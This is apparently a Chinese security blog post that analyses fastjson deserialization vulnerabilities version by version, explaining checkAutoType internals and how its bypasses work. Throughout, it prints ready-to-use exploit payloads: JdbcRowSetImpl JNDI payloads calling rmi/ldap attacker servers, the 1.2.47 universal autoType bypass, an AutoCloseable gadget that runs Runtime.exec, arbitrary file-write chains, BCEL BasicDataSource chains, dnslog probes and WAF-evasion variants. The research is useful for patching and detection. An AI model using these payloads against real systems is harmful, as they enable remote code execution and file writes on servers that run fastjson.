fastjson反序列化的一些前置知识
我们都知道fastjson触发漏洞的点在setter或者getter,以及fastjson反序列化存在parse和parseObject两个方法,在我最开始了解fastjson反序列化时看到一篇文章给出了一个说法: "parse只触发setter,parseObject同时触发getter和setter"
真的是这样吗?我测试了一下就发现这个说法是笼统并且有问题的,parseObject(String text, Class
在先知看到了一个总结 https://xz.aliyun.com/t/7846#toc-9
-
parseObject(String text, Class<T> clazz)
,构造方法 +setter
+ 满足条件额外的getter
-
JSONObject parseObject(String text)
,构造方法 +setter
+getter
+ 满足条件额外的getter
-
parse(String text)
,构造方法 +setter
+ 满足条件额外的getter
但据我后面看四哥的文章可知,某些方式可使得不满足”条件“的getter也可被调用
参见 http://scz.617.cn:8/web/202005121629.txt?continueFlag=eceb82ec993378c1eba9773e1cc1b2c9
bcel链
这个是因为JSONObject.toString直接调用了toJSONString导致会调用所有getter,这里不再仔细分析,1.2.37以后不能适用
$ref
当fastjson版本>=1.2.36时,我们可以使用$ref
的方式来调用任意的getter,比如使用如下代码成功调用getName方法
跟一下源码,可以发现到DefaultJSONParser流程中会判断key是否为$ref,然后调用 this.addResolveTask
} else if (key == "$ref" && context != null && (object == null || object.size() == 0) && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(4);
if (lexer.token() != 4) {
throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
}
typeName = lexer.stringVal();
...
...
} else {
this.addResolveTask(new DefaultJSONParser.ResolveTask(rootContext, typeName));
this.setResolveStatus(1);
最后在Json#parse中去处理这个ResolveTask
一路跟进,最终在FieldInfo#get方法中判断method是否存在,如果存在就反射调用,即调用getName方法
fastjson<1.2.25分析:
存在两条payload
1.利用jndi注入的JdbcRowSetImpl利用链
2.利用definClass传入恶意字节码的TemplatesImpl利用链
Payload1:以ldap方式举例,因为rmi利用方式在更早的jdk版本中被禁用
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
虽然存在高版本中jndi注入存在codebase限制,但是可以绕过,需要环境中存在可以利用的反序列化gadget,其实就是ldap的jndi请求会调用readObject,有利用链就不受codebase的限制。
这条链就不分析了,到处都是分析
Payload2:_bytecodes字段传入编译好的恶意类的base64编码(在恶意类构造方法中写入恶意代码)
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
这个payload存在一些字段的细节,可查看 https://xz.aliyun.com/t/8979?page=1#toc-6
这条链其实就是用的ysoserial中的jdk7u21,但这个利用链存在限制,因为我们的poc中存在private属性,所以在parseObject时需要设置Feature.SupportNonPublicField,一般情况都不会设置这个,所以利用面比较窄
fastjson<1.2.48分析:
在1.2.25以后,fastjson不再直接构建javabean,而是引入了一个checkAutoType安全机制
1.2.25以及之后的版本中,存在一个autoTypeSupport属性,其值默认False。要注意的是,autoTypeSupport为false并不代表fastjson完全不再支持对@type的解析,该值只是影响到了在代码流程进入到了checkAutoType机制后的走向,并且在某种情况下即使要反序列化的json字符串中存在@type字段也不会进入到checkAutoType代码流程。
另外从1.2.42版本开始,为了防止对黑名单进行分析绕过,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist
不进入checkAutoType的情况:
1.不存在@type字段
2.@type指定的类与parseObject(String text, Class<T> clazz)中Class<T> clazz)指定的类是一样的
比如如下这个poc即使在1.2.48也可以执行成功,因为根本没有进入到checkAutoType代码流程
checkAutoType绕过(需要autoTypeSupport为true)
吐槽一下,这种绕过迷惑了不少人,见过有人拿着其中一个问我为什么打不动1.2.25的(因为并没绕过autoTypeSupport的默认值啊!)
//1.2.41 bypass
String payload = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
//1.2.43
String payload3 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//1.2.43
//1.2.42
String payload2 = "{\"@type\":\"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
细看这几个payload可以发现是很类似的,都是在com.sun.rowset.JdbcRowSetImpl的前后添加了一些字符
触发点主要是在typeutils的loadClass中检测className是否以L开头;结尾或者以[开头,如果是就截取它们再返回类名
而这一步是在黑名单判断之后,黑名单判断时以L开头的类名并未触发黑名单,因此绕过了黑名单机制
其实这个逻辑顺序导致的漏洞在很多地方都有类似的情况,比如某cms对sql注入字符串按顺序置空,先检测select字符串再检测and字符串就导致了selandect这种字符串绕过了逻辑。
为什么这个payload在默认情况还是会报autoType not support呢?因为checkAutoType其实是一个先白后黑名单机制,如果能过白名单或者满足一些条件,代码会在前面直接return。如果没有绕过白名单或者说满足直接return的条件,只是绕过了后续的黑名单,那么代码就会走到下面这个流程,这种情况下只要autoTypeSupport为false,都会抛出异常。
除了这几个还有第三方库的绕过,就不写了,反正它的核心思想就是找到一个绕过黑名单的类可以触发攻击操作的
无视autoType通杀rce
前面说了,要想通杀,只绕过黑名单是不行的,必须在前面搞搞事情,让代码流程能直接走到return。
先看看通杀payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
我们先直接下断点可以看到,当流程走到typeName是com.sun.rowset.JdbcRowSetImpl时,TypeUtils.getClassFromMapping竟然存在,导致clazz不为空
而clazz不为空导致在进入下个流程时直接return了,没有走后面黑名单检测和判断autoTypeSupport为false的代码,达到了通杀rce的效果。
这是因为当这个payload的@type为java.lang.Class时,val为com.sun.rowset.JdbcRowSetImpl,而在检测完java.lang.Class后代码流程进入到了MiscCodec的deserialze方法然后进入了以下代码
跟到loadClass就会发现代码将className,也就是strVal参数,即com.sun.rowset.JdbcRowSetImpl放入了mappings,从而导致等到com.sun.rowset.JdbcRowSetImpl进入到checkAutoType时TypeUtils.getClassFromMapping取到了值继而产生了前文所说的直接return导致绕过通杀
通杀rce的版本差异
1.2.47这个通杀payload其实在1.2.25-1.2.32 autoTypeSupport为true(默认为false,影响很小)的情况下反而不能利用,为什么呢,调试一下1.2.31的代码可以看到在autoTypeSupport为true的情况下会先进入一个黑名单检测,而这里com.sun.rowset.JdbcRowSetImpl是在黑名单里面的,所以会抛出异常
1.2.25-1.2.32:
再来看看不受影响的1.2.33-1.2.47,以1.2.41举例,可以看到这里的黑名单检测抛出异常多了一个条件是判断com.sun.rowset.JdbcRowSetImpl是不是在缓存里,如果不在才会抛出异常,前面的通杀解析也写清楚了,这是在的。
1.2.33-1.2.47:
注:我在互联网搜了一下发现虽然默认为false,但是还是有不少开发会有业务需求改成true,如果确定版本在1.2.25-1.2.32之间用通杀rce打不动就可以用前面说的true情况下的绕过来打。
fastjson<1.2.69分析:
在1.2.48-1.2.69之间出过一些autoTypeSupport为true的绕过,以及在1.2.68时的通杀绕过,所以也分成两段来分析
checkAutoType绕过(需要autoTypeSupport为true)
其实在前面1.2.47分析的很清楚了,需要autoTypeSupport为true的情况的绕过无非就是对黑名单的绕过,比较麻烦的就是因为1.2.42以后黑名单改为了哈希黑名单,所以需要加密碰撞去检测黑名单中到底有哪些类,前面也说了已经破解出来的见 https://github.com/LeadroyaL/fastjson-blacklist
在网上找到了一些payload
fastjson <1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
fastjson<=1.2.66
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
原理就不分析了(因为就只是绕过黑名单),但是这些有autoType的限制,以及都是第三方库,限制还是很大的,随便打一发提示autoType not support也就意味着没戏了,就算不提示也还得有这个依赖才行,总之就是比较鸡肋。
无视autoType
在1.2.68版本又爆出了一个可以绕过autoType的漏洞,但这个漏洞没有1.2.47的通用,原因是1.2.47那个rce是绕过了黑名单的,而这个没有。
这个绕过的原理是什么呢,举一个例子吧,假设我的payload 是这个
{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson68test\", \"cmd\":\"open /Applications/Calculator.app\"}
那么在代码环境里必须存在一个这样的fastjson68test类,需要满足
1.实现或者继承AutoCloseable
2.不在黑名单里
3.构造函数或者setter/getter中存在可利用的恶意操作
代码如下
import java.io.IOException;
public class fastjson68test implements AutoCloseable{
public fastjson68test(String cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
最后在checkAutoType方法的这个位置return从而绕过autoTypeSupport
可以看到这里满足的条件是存在expectClass(也就是AutoCloseable),clazz(也就是fastjson68test)是expectClass的实现类,并且已经通过了前面的黑名单检测。
那么这个expectClass又有什么要求和限制呢?假设这个是Object类,岂不是有着更多操作的空间?fastjson在前面对expectClass做了判断,需要满足以下条件:
expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class
当然,也不是所有除此以外的类都可以做expectClass,别忘了expectClass也需要通过checkAutoType的检测,因此其条件是在白名单或者在缓存mapping中。
至于为什么当fastjson68test进入checkAutoType时expectClass有值且是AutoCloseable,则是当@type是AutoCloseable时其通过了checkAutoType以后调用了JavaBeanDeserializer#deserialze并在其中完成赋值,之后再调用checkAutoType对fastjson68test进行校验。
原理分析至此就完了,如果要挖掘通用链,那么就是在AutoCloseable,或者其他满足条件的expectClass的子类/实现类中去寻找敏感操作。
找了好多篇文章都几乎没有看到公开的,只有一个适用于jdk11以上版本的写文件的payload:
https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
后来看到四哥发的一个第三方库的payload:
https://mp.weixin.qq.com/s/GvR7ZXBtqDUUb3jXYYUexg
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileOutputStream',
'file':'/tmp/nonexist',
'append':false
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.apache.solr.common.util.FastOutputStream',
'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
'sink':
{
'$ref':'$.stream'
},
'start':38
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.iq80.snappy.SnappyOutputStream',
'out':
{
'$ref':'$.writer'
}
}
}
一个修改了rmb122的适用于jdk8/10的(看情况,我是macOS、jdk8u201,不行)
https://mp.weixin.qq.com/s/wdOb5ESfbkMSfdDlRvOg-g
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
顺便说一句,四哥每次吐槽都正合我想法:)
不出网&dnslog&绕过waf
dnslog
dnslog是为了检测是否是fastjson反序列化,有dnslog不代表有洞,就跟ysoserial的urldns一个作用,只是判断是否存在反序列化点
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
绕过waf
这一块我没有研究,不过在先知的这篇文章里提到一些tips https://xz.aliyun.com/t/7568
比如针对@type的变形@\x74ype
和对payload的fuzz,比如这个例子:
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
可以按照这篇文章的思路继续做fuzz探测
不出网回显
我们常用的payload是基于jndi注入的,如果遇上不出网的情况就没辙
BasicDataSource攻击链 becl
Fastjson<=1.2.24
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
1.2.33<=fastjson<=12.36
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
1.2.37<=fastjson<=1.2.47
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$..",
"$ref": "$.x.y.c.connection"
}
}
}
}
为何1.2.25-1.2.32无法回显,已在前面1.2.47的通杀rce的版本差异和fastjson反序列化前置知识的$ref触发get中进行了分析。